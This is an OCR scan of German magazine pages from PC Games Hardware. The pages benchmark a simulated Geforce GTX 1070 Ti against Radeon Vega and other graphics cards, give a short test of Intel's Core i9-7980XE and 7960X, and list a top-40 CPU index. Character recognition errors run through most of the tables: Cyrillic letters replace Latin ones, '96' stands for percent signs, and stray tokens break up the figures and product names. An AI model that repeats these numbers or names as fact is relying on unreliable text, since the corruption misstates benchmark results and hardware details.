Radeon RX Vega 56/8G wr 50,9 (+6 96) 
Geforce GTX 1070/8G usi] 47,8 (Basis) 


Project Cars 2, MSAA mittel/16:1 AF – „Le Mans" 


Geforce GTX 1080/8G. sr 61,2 (+21 96) 
Geforce GTX 1070 Ti/8G * MEMS 59,3 (+17 96) 
Radeon RX Vega 64 LCE/8G MEMES 58,2 (+15 96) 
Radeon RX Vega 64/8G 821 54,4 (+8 96) 
Geforce GTX 1070/8G mi 50,6 (Basis) 
Radeon RX Vega 56/86 Xi 44,2 (-13 96) 


Quantum Break (DX11), Upscaling an, TAA/16:1 AF - ,Industrial" 


Geforce GTX 1080/8G. agr 56,4 (+26 96) 
Radeon RX Vega 64 LCE/8G. [agis 53,1 (4-18 96) 
Geforce GTX 1070 Ti/8G * geb 51,2 (+14 %) 
Radeon RX Vega 64/8G. Ш 088 49,0 (4-9 96) 
Geforce GTX 1070/8G. 391 49,0 (Basis) 
Radeon RX Vega 56/8G ШЕ 98 43,8 (-2 96) 


Hellblade: Senua's Sacrifice, max. Details, TAA/16:1 AF - , Valravn" 


Radeon RX Vega 64 LCE/8G. X80! 55,6 (+30 96) 
Geforce GTX 1080/8G. ssi 54,2 (+27 %) 
Radeon RX Vega 64/8G. Ew 51,9 (+22 96) 
Geforce GTX 1070 Ti/8G * Pen 49,6 (+16 96) 
Radeon RX Vega 56/86 Xi 45,2 (+6 96) 
Geforce GTX 1070/8G 391: 42,7 (Basis) 


Radeon RX Vega 64 LCE/8G EX EM 153,3 (+65 96) 


Sniper Elite 4 (DX12) 150 % Res. Scale, Ingame-AA/16:1 AF - „$пїрег Woods" 


Radeon RX Vega 64 LCE/8G Eae 54,5 (+47 96) 
Geforce GTX 1080/8G. 39r 47,7 (+28 96) 
Radeon RX Vega 64/8G Ears 47,3 (+27 96) 
Radeon RX Vega 56/8G ШЕ 98 42,7 (+15 96) 
Geforce GTX 1070 T/8G * Peer 42,2 (+13 96) 
Geforce GTX 1070/8G ВЕ 08 37,2 (Basis) 


Mass Effect Andromeda, max. Details, TAA/16:1 AF — ,,Forlorn Dreams" 


Geforce GTX 1080/8С ШЕИ 52,0 (+27 96) 
Radeon RX Vega 64 LCE/BG. Logg 51,3 (+25 96) 
Geforce GTX 1070 Ti/8G * Be 47,6 (+16 96) 
Radeon RX Меда 64/8G. or] 45,7 (+11 96) 
Geforce GTX 1070/8G 3m 41,0 (Basis) 

Radeon RX Vega 56/8G. ВЕ 3318 38,5 (-6 96) 


Witcher 3, max. Gameworks (8x MS)/HBAO+, Ingame-AA/16:1 AF - „Skellige Forest" 


Geforce GTX 1080/8G Ew 48,8 (+28 96) 
Radeon RX Vega 64 LCE/8G ШД] 47,9 (+26 96) 
Radeon RX Меда 64/8С Em 44,5 (+17 96) 
Geforce GTX 1070 Ti/8G * IIS 43,1 (+13 96) 
Radeon RX Vega 56/8G 3911 42,2 (+11 96) 
Geforce GTX 1070/8G [5351] 38,1 (Basis) 


Ghost Recon Wildlands, Ultra-Preset, TAA/16:1 AF - „Wild Ride" 


Geforce GTX 1080/8G. MEAO] 43,0 (+22 96) 
Radeon RX Vega 64 LCE/8G. [E5381 42,0 (+19 96) 
Geforce GTX 1070 Ti/8G * Pet 40,3 (+14 96) 
Radeon RX Vega 64/8G. ВЕ 39| 39,3 (+11 96) 
Geforce GTX 1070/86 E321! 35,3 (Basis) 
Radeon RX Vega 56/8G. ВЕ ЗІ] 33,7 (-5 96) 


TW Warhammer 2, FXAA/16:1 AF – , Amaxon" 


Geforce GTX 1080/8С MESM] 37,3 (+26 96) 
Radeon RX Vega 64 LCE/8G MESTI 34,9 (+18 96) 
Geforce GTX 1070 T/8G * EEE 34,3 (+15 %) 
Radeon RX Меда 64/8G [3911 32,3 (4-9 96) 
Geforce GTX 1070/8G ВШ 29,7 (Basis) 
Radeon RX Vega 56/86 ШЗ 27,2 (-8 96) 


Watch Dogs 2, PCSS/HBAO- (Zusatzdetails 0 %), SMAA T2x/16:1 AF - ,, Frisco" 


Geforce GTX 1080/8G ШЗ 36,4 (+19 96) 
Geforce GTX 1070 Ti/8G * ВЕ 298 34,6 (+13 96) 
Radeon RX Vega 64 LCE/8G. Ш 2818 32,1 (4-5 96) 
Geforce GTX 1070/8G В 18 30,7 (Basis) 
Radeon RX Vega 64/8G ШЕ 2918 29,9 (-3 96) 
Radeon RX Vega 56/8G ШЭ 25,5 (-17 96) 


GTA 5, max. Det. (Gras , Ultra", Schatten „Am weichsten"), 4x MS/16:1 AF - , Grapeseed" 


Radeon RX Vega 64 LCE/8G [53211 35,5 (+22 96) 
Geforce GTX 1080/8G. MEEST] 34,5 (4-18 96) 
Geforce GTX 1070 Ti/8G * ВЕ ЗО 33,2 (+14 96) 
Radeon RX Vega 64/86 ВЕ 30132,8 (+12 96) 
Geforce GTX 1070/8G 1:261] 29,2 (Basis) 
Radeon RX Меда 56/8G 1361] 28,5 (-2 96) 


System: Core i7-6800K @ 4,4 GHz (LLC: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, HQ-AF Bemerkungen: *Simuliert anhand von GTX 1070 @ 2.126/4.007 MHz. 
Nur in Doom schlägt die Rohleistung stark durch (4-22 96 Fps bei +26 % Rechenleistung), ansonsten ist die simulierte GTX 1070 Ti im Mittel etwa 15 Prozent schneller als die GTX 1070 Founder's Edition. 
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Vorschau/Simulation GTX 1070 Ti | GRAFIKKARTEN 


mit effektiv 5.006 MHz, allerdings 
höheren Latenzen. Hinzu kommt, 
dass sich dieser Standard prozen- 
tual nicht so stark übertakten lässt, 
zwischen 5.300 und 5.400 MHz ist 
bei den meisten Modellen Schluss. 


Überträgt man die Ergebnisse auf 
den PCGH-Leistungsindex, wird 
sich die reale Geforce GTX 1070 
Ti etwa zwischen 73 und 77 Index- 
punkten einsortieren und läge da- 
mit auf Augenhöhe zur luftgekühl- 
ten Radeon RX Vega 64. 


Ergebnisse: OC-Karten 

Da die GTX 1070 Ti nur chipseitig 
schneller arbeitet als die GTX 1070, 
bleibt eine Frage offen: Können 
sich hochgezüchtete Versionen 
der alten Karte mit der neuen anle- 
gen? Diese Frage beantworten wir 
anhand der zwei neuesten PCGH- 
Benchmarkspiele: Elex und Mittel- 
erde: Schatten des Krieges. Ersteres 
legt primär Wert auf hohe Shader- 
Leistung, während Mittelerde nach 
Speicherkapazität giert - Vorteile 


durch 8 GiByte inklusive. Beim Ver- 
gleich der Asus GTX 1070 Strix OC, 
welche mit satten 1.987 bis 2.000 
MHz arbeitet, wird offensichtlich, 
dass die Geforce GTX 1070 Tikaum 
schneller agiert (plus zwei bis vier 
Prozent). OC-Versionen der GTX 
1080 laufen beiden Grafikkarten 
davon, selbstverständlich mit Auf- 
preis. (ru) 


Fazit Hardware 


Vorschau: GTX 1070 Ti 

Muss sich AMDs Radeon RX Vega 56 
fürchten? Vermutlich. In Kürze wissen 
wir, wie nah unsere Simulation an die 
Realität heranreicht. In der kommen- 
den PCGH-Ausgabe werden wir uns 
die neue Nvidia-Grafikkarte selbstver- 
ständlich genau ansehen, inklusive der 
bis dahin verfügbaren Herstellerde- 
signs. Besonders eilige Naturen schau- 
en ab Anfang November täglich auf 
www.pcgh.de, denn auch hier werden 
wir zeitnah einen Test der Geforce GTX 
1070 Ti veröffentlichen. 


GP104 mit 2.432 Shader-ALUs 


Die Geforce GTX 1070 Ti entspricht chipseitig beinahe einer GTX 1080. Letztere 
macht sich als einzige Pascal-Grafikkarte den GP104-Vollausbau zunutze, welcher 
20 Rechenblöcke à 128 ALUs und 16 TMUs aufbietet — das macht 2.560 Shader 
und 160 Textureinheiten. Für die GTX 1070 Ti deaktiviert Nvidia einen Shader-Mul- 
tiprozessor (SM), sodass die Zahl 2.432 im Datenblatt steht. Es ist davon auszu- 
gehen, dass die Raster-Endstufen (ROPs) nebst anschließender Caches vollständig 
vorhanden und mit 256 Datenbahnen zum Speicher verbunden sind. 8 GiByte 
GDDR5-RAM gelten als gesichert; die Datenrate soll 8 GT/s (Gbps) betragen. 


Bild: Nvidia 


GTX 1070 Ti im Vergleich mit werkseitig übertakteten Karten 


Elex, 2.560 x 1.440, max. Details, SMAA/16:1 HQ-AF - „Outlaw” 


MSI GTX 1080 Ti Gaming X Trio/11G EB 86,9 (+81 %) 
AMD RX Vega 64 Liquid-Cooled/8G ШЕСЕ 64,9 (+35 96) 
Gigabyte GTX 1080 G1 Gaming/8G 6018 64,8 (+35 96) 

Nvidia GTX 1080 Founder's Ed./8G [sg 59,8 (+24 96) 
Nvidia Geforce GTX 1070 Ti/8G * BI 55,3 (+15 96) 
Asus GTX 1070 Strix OC/8G. sit 53,3 (+11 96) 
Palit GTX 980 Ti Super Jetstream/6G EEE 52,6 (+9 96) 
AMD Radeon RX Vega 56/8G [gr] 52,3 (+9 96) 
Nvidia GTX 1070 Founder's Ed/8G. et 48,1 (Basis) 
AMD Radeon R9 Fury X/4G unt 45,2 (-6 96) 
Asus GTX 980 Strix/4G. X38! 40,5 (-16 96) 
Powercolor RX 580 Red Devil GS/8G X38! H 39,5 (-18 96) 
Zotac GTX 1060 AMP/6G ЕЗДИ 36,6 (-24 %) 
Asus R9 390 DC30C/8G. E33: 35,4 (-26 %) 
MSI GTX 970 Gaming/3,5--0,5G Ia 33,2 (-31 %) 


Elex, 3.840 x 2.160, max. Details, SMAA/16:1 HQ-AF - ,, Outlaw" 


MSI GTX 1080 Ti Gaming X Trio/11G gti 44,6 (+85 96) 
AMD RX Vega 64 Liquid-Cooled/8G MEMME] 33,9 (+41 96) 
Gigabyte GTX 1080 G1 Gaming/8G. [X301] 31,9 (+32 96) 

Nvidia GTX 1080 Founder's Ed./BG [39 30,3 (+26 96) 
Nvidia Geforce GTX 1070 Ti/8G * Feet 27,6 (+15 96) 
AMD Radeon RX Vega 56/8G [93st 27,4 (+14 96) 
Asus GTX 1070 Strix OC/8G ШО] 26,9 (+12 96 

Palit GTX 980 Ti Super Jetstream/6G EB] 26,8 (+11 96 
Nvidia GTX 1070 Founder's Ed./8G 81 24,1 (Basis) 

AMD Radeon R9 Fury X/4G E33 24,0 (0 96) 
Powercolor RX 580 Red Devil GS/8G 91] 20,2 (-16 96) 
Asus GTX 980 Strix/4G [811 19,6 (-19 96) 
Asus R9 390 DC30C/8G fll 19,1 (-21 %) 
Zotac GTX 1060 AMP/6G EMI 18,3 (-24 %) 

MSI GTX 970 Gaming/3,5+0,5G Ш | 15,9 (-34 %) 


) 
) 


ME Shadow of War, 2.560 x 1.440, max. Details, TAA/16:1 HQ-AF - , Minas Ithil" 


Asus GTX 1080 Ti Strix OC/11G n ЕЕ 82,5 (+90 %) 
AMD RX Vega 64 Liquid-Cooled/8G [ssi ex 61,7 (+42 %) 
Gigabyte GTX 1080 G1 Gaming/8G EXE 57,6 («32 90) 
Nvidia GTX 1080 Founder's Ed./8G sg 55,2 (+27 96) 

AMD Radeon RX Vega 56/8G. |a es 48,9 (+12 %) 
Nvidia Geforce GTX 1070 Ti/8G * mwa 48,7 (+12 96) 
Asus GTX 1070 Strix OC/8G. |a 47,7 (+10 96) 
Palit GTX 980 Ti Super Jetstream/6G Xm 45,9 (+6 96) 
Nvidia GTX 1070 Founder's Ed./8G EB 43,5 (Basis) 
Powercolor RX 580 Red Devil GS/8G X30 M 35,0 (-20 96) 
Zotac GTX 1060 AMP/6G MEMEZ 31,1 (-29 96) 
Asus R9 390 DC30C/8G gn 30,6 (-30 96) 
AMD Radeon R9 Fury X/4G Exp 27,7 (-36 %) 
Asus GTX 980 Strix/4G ate 26,4 (-39 90) 
MSI GTX 970 Gaming/3,5--0,5G [Xa] 23,7 (-46 %) 


ME Shadow of War, 3.840 x 2.160, max. Details, TAA/16:1 HQ-AF - , Minas Ithil" 


Asus GTX 1080 Ti Strix OC/11G uei 48,9 (4-97 9) 
AMD RX Vega 64 Liquid-Cooled/8G [351r 37,5 (+51 96) 
Gigabyte GTX 1080 G1 Gaming/8G. [XXX 33,5 (+35 90) 

Nvidia GTX 1080 Founder's Ed./BG. EEE 32,1 (+29 96) 
AMD Radeon RX Vega 56/8G Xn 29,4 (+19 96) 
Nvidia Geforce GTX 1070 Ti/8G * Feb 27,8 (4-12 96) 
Asus GTX 1070 Strix OC/8G. Ew 26,7 (+8 96) 
Nvidia GTX 1070 Founder's Ed./8G xt 24,8 (Basis) 
Powercolor RX 580 Red Devil GS/8G MED] 20,8 (-16 96) 
Palit GTX 980 Ti Super Jetstream/6G [18153 20,7 (-17 96) 
Asus R9 390 DC30C/8G t 19,3 (22 %) 
AMD Radeon R9 Fury X/4G Ш 88 18,3 (-26 96) 
Zotac GTX 1060 AMP/6G Egi 18,2 (-27 96) 
Asus GTX 980 Strix/4G EN 13,1 (-47 96) 
MSI GTX 970 Gaming/3,5--0,5G JI 12,3 (-50 %) 


System: Core i7-6800K @ 4,4 GHz (LLC: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, HQ-AF Bemerkungen: *Simuliert anhand von GTX 1070 @ 2.126/4.007 MHz 
Gemessen an einem starken Herstellerdesign der GTX 1070 — die Asus Strix boostet auf —2 GHz — kann sich die simulierte GTX 1070 Ti kaum absetzen. Die RX Vega 56 rangiert hier auf Augenhóhe mit beiden. 
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Core 19-7980ХЕ & 7960X: Intels Kernmonster im Kurztest 


Intels Sockel-2066-Topmodelle erreichten das 
PCGH-Testlabor erst mit einiger Verspätung - an 
dieser Stelle liefern wir den Test in Kurzform nach. 


it zehn Kernen hatte Intel zunächst vorge- 

legt und wurde vom Threadripper mit 16 
x86-Cores überholt. Die neue Endstufe für den 
HEDT-Skylake-X aus Core i9-7960X und Core i9- 
7980XE erhöht nun auf 16 respektive 18 Kerne 
plus Simultaneous Multithreading (SMT). 


Für die zusätzlichen Kerne hob Intel die Thermal 
Design Power (TDP) von 140 auf 165 Watt an und 
senkte die Basistakte weiter. Unter normaler Voll- 
last bleiben für den 7980XE noch 2,6 und für den 
7960X 2,8 GHz übrig, die sie auf 3,4, respektive 
3,6 GHz steigern dürfen, wenn Temperaturen 
und TDP dies erlauben. Doch diese Turbotakte 
werden nicht durchweg gehalten, wie es noch 
in früheren Generationen der Fall war. Durch 
geringe Skalierbarkeit gängiger Anwendungen 
entsteht sogar der kuriose Fall, dass der 7960X 
schneller sein kann als der 7980XE - das haben 
wir im Spielebereich bereits bei AMDs Thread- 
ripper gegenüber dem Ryzen 7-1800X beobach- 


Prozessor 
PCGH-Preisvergleich 


Intel Core i9-7960X 
www.pcgh.de/preis/1638801 


tet, auch wenn dort die Ursachen andere waren. 
Speziell mit AVX2-/-512F-Last sind noch geringe- 
re Takte vorgesehen (s. PCGH 11/2017 S. 54) und 
der 7980XE etwa taktet auf 2 GHz herunter. 


In Anwendungen setzt sich zumindest der 
7980XE hauchdünn vor den 7960X. Auch hier 
skalieren làngst nicht alle Programme optimal 
mit steigenden Kernzahlen. Im Paradebeispiel 
Cinebench R15 ist der 19-7980ХЕ zwar gut neun 
Prozent flotter als der 7960X, aber in vielen An- 
wendungen muss er seinen Takt stárker drosseln 
als der 7960X und arbeitet daher langsamer. Be- 
sonders krass ist das beim y-Cruncher: In älteren 
Ausgaben arbeitet der 16-Kerner beinahe 22 Pro- 
zent schneller (durch Abschalten zweier Kerne 
beim 7980XE verifizierbar) und erreicht selbst 
in der aktuellen Version lediglich einen Gleich- 
stand. Der Premium-Aufpreis für den XE lohnt 
sich daher nur, wenn die CPU entweder übertak- 
tet werden soll, sodass die Kerne bei dann not- 
wendiger, guter Kühlung auch voll ausgefahren 
werden, oder in Programmen genutzt wird, die 
tatsächlich optimal mit der Kernzahl skalieren. 
Zudem nehmen die Probleme mit älterer Soft- 


Intel Core i9-7980XE 
www.pcgh.de/preis/1638806 


Preis/Preis-Leistungs-Verhältnis 


Ca. 1.575 €/Schulnote 5-/PLV-Index: 10,2 % 


Ca. 1.900 €/Schulnote 5-/PLV-Index: 8,3 % 


Für Mainboards mit Sockel ... Sockel 2066 Sockel 2066 
Codename Skylake X Skylake X 

Anzahl Kerne/Module, Uncore-/L3-Takt 16 (32), 2,4 GHz 18 (36), 2,4 GHz 
Basistakt (Turbo für alle und einen Kern) 2,8 GHz (3,6-4,4 GHz) 2,6 GHz (3,4-4,4 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/32 KiByte 


32 KiByte/32 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


1.024 KiByte/22,00 MiByte 


1.024 KiByte/24,75 MiByte 


unbekannt, 14 nm, ca. 428 mm? 


unbekannt, 14 nm, ca. 428 mm? 


Transistoren, Fertigung, Die-Size 


Grafikeinheit Nicht vorhanden 


Nicht vorhanden 


Befehlssátze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 512F, AES, FMA3 


SSE bis 4.2, AVX bis 512E, AES, FMA3 


Integrierte PCI-Express-Lanes 


44x PCI-Express 3.0 


44x PCI-Express 3.0 


Offener Multiplikator* Ja (bis 83) 


Ja (bis 83) 


Übertaktung per Referenztakt?* Ja 


Ja 


Speicherkanäle (u. max. Geschwindigkeit*/* *) 


4x DDR4-2667 (kein ECC) 


4x DDR4-2667 (kein ECC) 


ware bei Kern- respektive Threadzahlen von 32 
und mehr deutlich zu. Das lässt sich zwar durch 
Software-Abschaltung via „Numproc“ umgehen, 
doch ist danach jedesmal ein nerviger Windows- 
Neustart nótig. Speziell ist uns dies bei Spielen 
aufgefallen. So starten zusätzlich zu den bis ma- 
ximal 31 Threads noch lauffähigen Program- 
men (F1 2015, Far Cry 4), auch Anno 2205 und 
Assassin's Creed: Syndicate nicht mit mehr als 
32 Threads. Wir haben sie daher wie schon beim 
Threadripper TR-1950X entsprechend limitiert. 


Für Spieler lohnt sich der Griff zu solch hochge- 
züchteten Monstern nicht, und selbst moderne 
DX12- oder Vulkan-Titel wie Rise of the Tomb 
Raider oder das frisch gepatchte Ashes of the Sin- 
gularity: Escalation profitieren nicht beziehungs- 
weise kaum von den vielen Kernen. Auch in Cry- 
sis 3 kann der 7960X seine vom Spiel belasteten 
Kerne um knapp 12 Prozent hóher takten als sein 
18-Kern-Geschwister und liegt daher auch in die- 
sem Test vorn. Spieler sind derzeit mit maximal 
acht Kernen plus SMT gut bedient, für die kom- 
menden Jahre kónnten 10 bis 12 Cores noch sinn- 
voll werden, wenn sich der Trend fortsetzt. (cs) 
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TDP laut Hersteller** 165 Watt 165 Watt 
Systemverbrauch Leerlauf abzüglich Grafikkarte |34 Watt 34 Watt 
Systemverbrauch (Anno/C3/TW3)** 246/396/339 Watt 242/373/314 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 309 Watt 296 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |254 Watt 248 Watt 
Spieleindex (60 % der Leistungsnote) 92,3 % 87,8 9b 
Anwendungsindex (40 % der Leistungsnote) 99,6 % 100% 

+ + 


Wertung: 1,50 


Wertung: 1,56 


* Setzt Unterstützung durch das Mainboard voraus **Angabe dient nur der 


Information, gewertet wird die Effizienz über alle Spiele und Anwendungen. 
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Index: Top 40 CPUs 


Preis-Leistungs-Verháltnis B Gesamtindex 8 Spieleindex Bi Anwendungsindex 


NEU ES Core i9-7960X 


2,8+ GHz — 16/321 — So. 2066 
10,2 % – 1.575 € 


NEU =m] Core i9-7980XE 


2,6+ GHz - 18/361 — So. 2066 
8,3 % — 1.900 € 


Intel Core i9-7900X 
3,34 GHz - 10/20: — So. 2066 


16,2 % – 915 € 


Intel Core i7-6950X 
3,0+ GHz — 10c/20t — So. 2011-3 


10,9 % - 1.300 € 


NEU ES Core i7-8700K 


3,7+ GHz — 60/121 – So. 1151 v2 
34,1% – 400€ 


Intel Core i7-7820X 
3,6+ GHz — 8c/16t — So. 2066 


25,2 % -550 € 


Intel Core i7-6900K 
3,24 GHz - 8c/16t — So. 2011-3 
15,1 % -885 € 


AMD Ryzen TR 1950X 
3,4+ GHz — 16c/32t — So. TRA 


14,8 % – 945 € 


Intel Core i7-7740X 
4,3+ GHz - AcfBt — So. 2066 


41,5 % — 295 € 


NEU те Core i5-8600K 


3,6+ GHz — 6c/6t – So. 1151 v2 
41,5 % — 290 € 


AMD Ryzen TR 1920X 
3,5+ GHz — 12c/24t - So. TRA 


16,9 % — 765 € 


Intel Core i7-7700K 
4,2 GHz — AcfBt — So. 1151 


37,4% -310€ 


Intel Core i7-5960X 
3,04 GHz — 8c/16t — So. 2011-3 


11,5 % — 1.050 € 


Intel Core i7-7800X 
3,54 GHz — 6c/12t — So. 2066 


34,2 % - 350 € 


NEU rm] Core i5-8400 


2,8+ GHz — 6c/6t – So. 1151 v2 
57,5% – 200€ 


Intel Core i7-6800K 
3,44 GHz — 6c/12t — So. 2011-3 
36,5 % — 315 € 


AMD Ryzen 7 1800X 
3,6+ GHz - 8c/16t — So. AM4 


27,6 % – 425 € 


Intel Core i7-5930K 
3,5+ GHz — 6c/12t — So. 2011-3 


19,5 % -575 € 


Intel Core i7-5775C 
3,3+ GHz - Acl8t - So. 1150 


29,5 % - 365 € 


AMD Ryzen TR 1900X 
3,8+ GHz - 8c/16t — So. TRA 


22,4% – 525 € 


3 


92,3% 996% 
AN6:34 CR3:185 F15:132 5С2:41 РСВ: 26.192 CB15:3.004 АІА: 87 x264:37 
AC 130 РАІ: 140 РСА: 83 ТМЗ: 141 ЗОМ: 26.299 72:94 ВІР: 86 уСг: 49 


Intel Core i7-6700K 
4,0+ GHz-Ac/8t 50. 1151 


36,1 % -300 € 


AN6:37 CR3:137 1:80 Om СВ:16.191 CB15:890 ALR:127 х264:102 


ACS:120 DAI:133 FC4:124 TW3:119 — 3DM: 13.028 72: 205 BLD: 222 уси: 106 


[zz zz; — 973% 


Intel Core i7-5820K 
3,3+ GHz -6c/12t - So. 2011-3 


28,6 % - 380 € 


AN6:32  CR3:149 F15:102 SC2:32 FCB:18.880 CB15:1.022 ALR: 119 х264: 104 
ACS:122 DAL 129 FC4:92 TW3:115 3DM: 13.589 72: 168 BLD: 203 yCr: 110 


АМО Ryzen 7 1700Х 
3,4+ GHz - 8c/16t — So. AM4 


34,2 % – 330 € 


721% 


АМ6:31 CR3:146 F15:91 
ACS:106 DAI109 FC4:75 


SC2:30 
TW3: 105 


РСВ: 21.955 CB15:1.557 ALR: 111 x264: 68 


3DM: 18.246 72: 189 BLD: 149 уси: 113 


АМ6:35 CR3:175 F15:129 SC2:36 FCB:26216 CB15:3282 АК: 88 26:35 
ACS:129 DAF125 FC4:83 TW3:126 ЗОМ: 26.021 7:909 BLD:87 yCr62 
939% 
DEES 
aen CR3:198 F15:136 SC2:37 — FCB:26.647 CB15:2.105 ALR:87 x264:49 
ACS:130 DAL136 FC4:83 TW3:133 ЗОМ: 24.094 7:105 — BLD:109 yCr:63 
91,8% 
943% 
АМ6:37 CR3:193 F15:130 902:40 FCB:24097 CB15:1.805 ALR:90 х264:61 
АС5:137 DI ra TW3:135 ЗОМ: 21.430 7:120 ВІ: 117 yCr:70 


Intel Core 17-4960Х 
3,6+ GHz- 6c/12t- So. 2011 


10,0 % - 1.050 € 


AN6:31  CR3:137 F15:102 
ACS:120 DAI:122 FC4:84 


SC2:25 
TW3: 114 


FCB: 19.953 CB15:1.000 ALR:114 х264: 112 
3DM: 13.914 7z: 159 BLD:219 yCr:207 


AN6:41 CR3:194 F15:108 SC2:59 
ACS:133 DAI:151 FC4:120 TW3:143 


РСВ: 24.460 CB15:1.354 ALR:95 x264: 69 
3DM: 19.702 7z: 182 BLD:153 yCr:84 


AMD Ryzen 5 1600X 
3,6+ GHz - 6c/12t — So. AM4 


48,1 % — 220 € 


NN e — 


Ш 
AN6:32 СЕЗ:180 F15:129 502:37 x264: 57 
АС:132 DAI:135 РС4:80 — TW3:132 BLD:129 yCr: 66 


AMD Ryzen 7 1700 
3,0+ GHz — 8c/16t — So. AM4 


36,5 % — 290 € 


АМ6:31 СЕЗ:142 1:89 Om FCB:19.066 CB15:1.244 ALR:111 х264:84 

ACS:107 DAF113 FCAG4 TW3:104 — 3DM:17.113 7:229 — BLD:181 yCr:147 
68,4% 

580% 

AN6:29 CR3:137 1:88 Om FCB:20.633 СВ15:1.426 ALR:117 х264:73 

ACS:105 DAF104 FC4:70 TW3:102 3DM:16.798 7:201 BLD:161 yCr:122 


872% 


Intel Core i7-3960X 
3,3 GHz - 6с/121 - So. 2011 
14,4% - 700 € 


AN6:30  CR3:131 F15:95 502: 25 
ACS:118 РАІ: 118 FC4:83 TW3: 112 


FCB: 19.757 CB15:955  ALR:129 x264:124 
3DM: 13.357 7z: 163 BLD:235 yCr:215 


Intel Core i7-4790K 
4,04 GHz — Ac/8t — So. 1150 


29,7% – 335 € 


45,0% 
AN6:34 CR3:129 Р15:71 SC2:44 СВ:16360 CB15:857 ALR:132 х264:122 
ACS:110 DAF113 РСА:113 TW3:105 — 3DM:11.924 7197 — BLD:231 yCr:128 


DEES 

AN6:36 CR3:177 Р15:124 SC2:38 FCB:24761 CB15:1483 ALR:93 x264: 72 

ACS:136 DAI:136 FC4:89 TW3:135 — 3DM:19232 7126 — BLD:143 yCr:75 
850% 

73,8% 

AN6:27 CR3:146 Р15:113 SC2:30 — FCB:21.604 CB15:3.062 ALR:92 x264:39 

ACS:113  DAE109 FC4:59  TW3:112 — 3DM:26.002 7z121 — BLD:88  yCr.6l 
83,8% 

98,1% 525% 

AN6:42 CR3:153 Р15:98 Oe FCB:18364 CB15:996 ALR:114 x264:91 

АС:132 DAI:148 FC4:133 TW3:140 — 3DM:14733 7198 — BLD:199 yCr:94 


AMD Ryzen 5 1600 
3,24 GHz - 6c/12t — So. AM4 


50,2 % — 200 € 


65,9% 
508% 


532% 


Intel Xeon E3-1230 v5 
3,44 GHz - Aci8t — So. 1151 


37,1% - 260€ 


ANG:40 САЗ:154 F15:97 — SC2:57 СВ:19.280 CB15:1.046 ALR:102 x264: 84 

ACS:125 DAI:148 FC4:133 TW3:133 — 3DM:13508 7:226 BLD:212 yCr:89 
799% 

81,6% 

АМ6:27  CR3:144 FIS:112 SC2:30 FCB:20.248 CB15:2.459 ALR:93 x264: 46 

ACS:110 DAI:108 FC4:57 — TW3:108 3DM:23.865 7z132 BLD:99 yCr8i 


Intel Core i3-8350K 
4,0 GHz — 40/41 — So. 1151 v2 


51,3 % — 180 € 


50,8 % 
AN6:40 САЗ: 144 F15:89 SC2: 62 ; 
ACS: 131 DAI:138 FC4:131 TW3:126 


Intel Core i7-4770K 
3,5+ GHz — Ac/8t — So. 1150 


27,4 % – 340 € 


83,4% 63,3 % 
AN6:29  CR3:164 F15:115 5С2:31 FCB: 23.164 CB15:1.329 ALR: 108 х264: 81 
АСЅ:127 АІ: 130 FC4:84 ТМЗ: 124 ЗОМ: 16.203 72: 135 BLD: 161 уСг: 81 


Intel Core i5-7600K 
3,8+ GHz — Ac/4t — So. 1151 


41,696 – 215€ 


812% 
ANG:29 CR3:165 FI5:112 Om СВ:21,732 CB15:1.303 ALR:104 x264: 75 
ACS:130 DAI:132 FC4:85 TW3:119 ЗМ: 17.655 72:180 BLD:165 yCr91 


Intel Core i5-5675C 
3,1+ GHz - Ac/4t — So. 1150 


31,6% – 275€ 


Gw GSSs  )|  [|AMDRyzn51500X 
91,6% 3,5+ GHz - 4c/8t — So. AM4 
AN6:37 CR3:144 F15:96 — SC2:52 — FCB:17896 CB15:968 ALR:107 x264:90 512%-170€ 
ACS:123 DAl:147 FC4:128 TW3:131 — 3DM:12574 7238 — BLD:227 yCr:96 ER 
A Intel Core i7-4820K 
3,7+ GHz — degt — So. 2011 
АМ6:34 САЗ:154 F15:104 SC2:34  FCB:19.695 CB15:1.114 ALR:111 ›064:97 25,1% -340€ 
ACS:130 DAL131 FC4:93 TW3:118 — 3DM:15644 72170 — BLD:186 yCr: 108 үч 


65,6% 


AN6:32  CR3:150 F15:93 5С2:33 FCB: 23.143 CB15:1.639 ALR:105 x264: 64 


Intel Core 15-7500 
3,4+ GHz — Ac/4t — So. 1151 


46,4 % - 180 € 


ACS:110 DAI:114 FC4:77  TW3:110 ЗМ: 19.312 72:182 BLD: 140 vr 109 


75,0% 


83,4% 
AN6:33 CR3:154 F15:105 50:32 FCB:19.845 CB15:1.086 ALR:116 х264:102 
ACS:127 DAI:130 FC4:94 TW3:119 — 3DM:13342 72:165 BLD:198 yCr:107 


Intel Core i7-3770K 
3,5+ GHz — 4081—50. 1155 


28,3 % - 295 € 


749% 


90,1% 
AN6:40 CR3:129 F15:95 5C2:47 FCB:14.590 CB15:787  ALR:133 x264:125 


ACS:127 DAI:139 FC4:128  TW3:131 — 3DM: 12278 72:195 BLD:257 уст: 139 


Intel Core 17-990Х 
3,5+ GHz — 6c/12t — So. 1366 


9,9 % -850 € 


Г ШЫ 
АМ6:28 CR3:139 F15:108 FCB:20.914 CB15:1.716 ALR:95 x264:61 
ACS:114 DAI:108 FC4:64 3DM: 20.280 72: 177 BLD: 133 yCr: 101 


50:32 
TW3: 107 


Intel Core i5-6600K 
3,5+ GHz - Ac/4t — So. 1151 


37,5 % -210€ 


AN6:30 САЗ: 133 F15:87 SCH 28 РСВ: 17.821 СВ15: 1.149 ALR 118 x264: 90 

АСЅ: 104 РАІ: 106 ЕС4:79 ТМЗ: 102 ЗРМ: 15.853 72: 236 ВІ: 196 yCr: 158 
65,2% 

42,6 % 

AN6:31  CR3:118 F15:75 $С2:39 FCB: 14.518 СВ15: 799  ALR:140 x264:114 

ACS:109 РАІ: 115 ЕС4:112 ТМЗ: 105 3DM: 11.618 7z: 221 ВІ: 248 yCr: 117 

НИ г 

76,7% 38,5% 

AN6:32 СЕЗ:105 FI5:72 52:57 — FCB:13.054 CB15:685 ALR:124 x264:125 

